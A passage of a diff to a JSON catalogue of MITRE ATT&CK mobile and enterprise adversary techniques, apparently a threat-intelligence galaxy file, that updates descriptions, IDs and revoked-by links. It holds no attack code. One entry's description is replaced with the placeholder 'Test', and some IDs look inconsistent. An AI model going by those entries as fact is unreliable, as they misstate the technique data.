"external_id": "T1521", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1521" - ] - }, - "uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "value": "Standard Cryptographic Protocol - T1521" - }, { "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", "meta": { @@ -12975,29 +13845,6 @@ "uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7", "value": "Obfuscate operational infrastructure - T1318" }, - { - "description": "Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)\n\nOn Android, ClipboardManager.OnPrimaryClipChangedListener can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)\n\nAndroid 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)", - "meta": { - "external_id": "APP-35", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://saschafahl.de/static/paper/pwmanagers2013.pdf", - "https://attack.mitre.org/techniques/T1414", - "https://developer.android.com/about/versions/10/privacy/changes#clipboard-data", - "https://github.com/grepx/android-clipboard-security", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" - ] - }, - "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", - "value": "Capture Clipboard Data - T1414" - }, { "description": "An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)\n\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)", "meta": { @@ -13028,6 +13875,12 @@ "description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).", "meta": { "external_id": "AUT-10", + "kill_chain": [ + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "iOS" + ], "refs": [ "http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html", "https://attack.mitre.org/techniques/T1415", @@ -13132,6 +13985,12 @@ "description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.", "meta": { "external_id": "T1419", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/techniques/T1419", "https://developer.android.com/reference/android/os/Build" @@ -13563,6 +14422,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, + "related": [ + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "value": "Access Contact List - T1432" }, @@ -13584,6 +14452,24 @@ "uuid": "2de38279-043e-47e8-aaad-1b07af6d0790", "value": "Network Service Scanning - T1423" }, + { + "description": "Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. \n\n \n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, programming library, or custom algorithm. ", + "meta": { + "external_id": "T1532", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1532" + ] + }, + "uuid": "e3b936a4-6321-4172-9114-038a866362ec", + "value": "Archive Collected Data - T1532" + }, { "description": "Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. \nAdversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access `android.os.SystemProperties` via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)\n", "meta": { @@ -13606,6 +14492,15 @@ "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html" ] }, + "related": [ + { + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "value": "Evade Analysis Environment - T1523" }, @@ -13639,6 +14534,25 @@ "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30", "value": "Fast Flux DNS - T1325" }, + { + "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert. ", + "meta": { + "external_id": "STA-7", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1632", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html" + ] + }, + "uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", + "value": "Subvert Trust Controls - T1632" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326).\n\nDomain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)", "meta": { @@ -13713,15 +14627,7 @@ "https://attack.mitre.org/techniques/T1442" ] }, - "related": [ - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9", "value": "Fake Developer Accounts - T1442" }, @@ -13740,9 +14646,9 @@ "value": "Conduct active scanning - T1254" }, { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class.(Citation: Android-Build)\n\nOn iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)", + "description": "Adversaries may attempt to get detailed information about a device’s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1426) during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions. \n\n \n\nOn Android, much of this information is programmatically accessible to applications through the `android.os.Build` class. (Citation: Android-Build) iOS is much more restrictive with what information is visible to applications. Typically, applications will only be able to query the device model and which version of iOS it is running. ", "meta": { - "external_id": "T1426", + "external_id": "APP-12", "kill_chain": [ "mitre-mobile-attack:discovery" ], @@ -13751,14 +14657,31 @@ "iOS" ], "refs": [ - "http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on", "https://attack.mitre.org/techniques/T1426", - "https://developer.android.com/reference/android/os/Build" + "https://developer.android.com/reference/android/os/Build", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" ] }, "uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "value": "System Information Discovery - T1426" }, + { + "description": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via automatically and repeatedly executing malicious code. After gaining access to a victim’s system, adversaries may create or modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked. ", + "meta": { + "external_id": "T1624", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1624" + ] + }, + "uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", + "value": "Event Triggered Execution - T1624" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)", "meta": { @@ -13817,25 +14740,6 @@ "uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "value": "Domain Trust Discovery - T1482" }, - { - "description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).", - "meta": { - "external_id": "APP-32", - "kill_chain": [ - "mitre-mobile-attack:lateral-movement" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1428", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" - ] - }, - "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", - "value": "Exploit Enterprise Resources - T1428" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", "meta": { @@ -13950,6 +14854,24 @@ "uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", "value": "Cloud Service Discovery - T1526" }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time. \n\nThere are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.", + "meta": { + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1625", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html" + ] + }, + "uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", + "value": "Hijack Execution Flow - T1625" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", "meta": { @@ -14160,6 +15082,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, + "related": [ + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "value": "Access Call Log - T1433" }, @@ -14185,15 +15116,7 @@ "https://attack.mitre.org/techniques/T1443" ] }, - "related": [ - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "831e3269-da49-48ac-94dc-948008e8fd16", "value": "Remotely Install Application - T1443" }, @@ -14236,6 +15159,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, + "related": [ + { + "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "62adb627-f647-498e-b4cc-41499361bacb", "value": "Access Calendar Entries - T1435" }, @@ -14270,6 +15202,15 @@ "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html" ] }, + "related": [ + { + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", "value": "Manipulate Device Communication - T1463" }, @@ -14292,6 +15233,25 @@ "uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", "value": "Commonly Used Port - T1436" }, + { + "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", + "meta": { + "external_id": "APP-29", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1437", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" + ] + }, + "uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "value": "Application Layer Protocol - T1437" + }, { "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "meta": { @@ -14330,26 +15290,6 @@ "uuid": "54456690-84de-4538-9101-643e26437e09", "value": "Domain Generation Algorithms - T1483" }, - { - "description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.", - "meta": { - "external_id": "APP-30", - "kill_chain": [ - "mitre-mobile-attack:command-and-control", - "mitre-mobile-attack:exfiltration" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1438", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" - ] - }, - "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "value": "Alternate Network Mediums - T1438" - }, { "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { @@ -14480,6 +15420,25 @@ "uuid": "e49920b0-6c54-40c1-9571-73723653205f", "value": "Cloud Service Dashboard - T1538" }, + { + "description": "Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application’s manifest. On iOS, they must be included in the application’s `Info.plist` file. \n\n \n\nIn almost all cases, the user is required to grant access to the data store that the application is trying to access. In recent OS versions, vendors have introduced additional privacy controls for users, such as the ability to grant permission to an application only while the application is being actively used by the user. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [Protected User Data](https://attack.mitre.org/techniques/T1636) without the user’s knowledge or approval. ", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1636", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", + "value": "Protected User Data - T1636" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379).\n\nRemovable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)", "meta": { @@ -14509,7 +15468,7 @@ "value": "Spearphishing for Information - T1397" }, { - "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.", + "description": "Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel or through alternate protocols with another tool such as FTP.", "meta": { "external_id": "T1544", "kill_chain": [ @@ -14524,12 +15483,18 @@ ] }, "uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", - "value": "Remote File Copy - T1544" + "value": "Ingress Tool Transfer - T1544" }, { - "description": "An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).\n\nAn SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.\n\nAs described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.\n\nPlatforms: Android, iOS", + "description": "Test", "meta": { "external_id": "T1454", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/techniques/T1454" ] @@ -14539,9 +15504,9 @@ "value": "Malicious SMS Message - T1454" }, { - "description": "As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.\n\nThird-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.(Citation: Grace-Advertisement)(Citation: NowSecure-RemoteCode)", "meta": { - "external_id": "APP-6", + "external_id": "SPC-21", "kill_chain": [ "mitre-mobile-attack:initial-access" ], @@ -14552,6 +15517,28 @@ "refs": [ "https://attack.mitre.org/techniques/T1474", "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-14.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-19.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html", + "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html", "https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf", "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/" ] @@ -14575,6 +15562,15 @@ "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html" ] }, + "related": [ + { + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "8e27551a-5080-4148-a584-c64348212e4f", "value": "Delete Device Data - T1447" }, @@ -14594,6 +15590,15 @@ "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf" ] }, + "related": [ + { + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "value": "Carrier Billing Fraud - T1448" }, @@ -14669,15 +15674,7 @@ "https://attack.mitre.org/techniques/T1455" ] }, - "related": [ - { - "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f", "value": "Exploit Baseband Vulnerability - T1455" }, @@ -14906,6 +15903,15 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" ] }, + "related": [ + { + "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", "value": "Uninstall Malicious Application - T1576" }, @@ -15255,6 +16261,30 @@ "uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", "value": "SID-History Injection - T1134.005" }, + { + "description": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", + "meta": { + "external_id": "T1481.003", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1481/003" + ] + }, + "related": [ + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "type": "subtechnique-of" + } + ], + "uuid": "d916f176-a1ca-4a78-9fdd-4058bc28162e", + "value": "One-Way Communication - T1481.003" + }, { "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", "meta": { @@ -15433,9 +16463,36 @@ "https://attack.mitre.org/techniques/T1605" ] }, + "related": [ + { + "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "value": "Command-Line Interface - T1605" }, + { + "description": "Adversaries may generate network traffic using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", + "meta": { + "external_id": "T1509", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1509" + ] + }, + "uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", + "value": "Non-Standard Port - T1509" + }, { "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", "meta": { @@ -15611,7 +16668,7 @@ "value": "Pre-OS Boot - T1542" }, { - "description": "As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\n(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an [Application Access 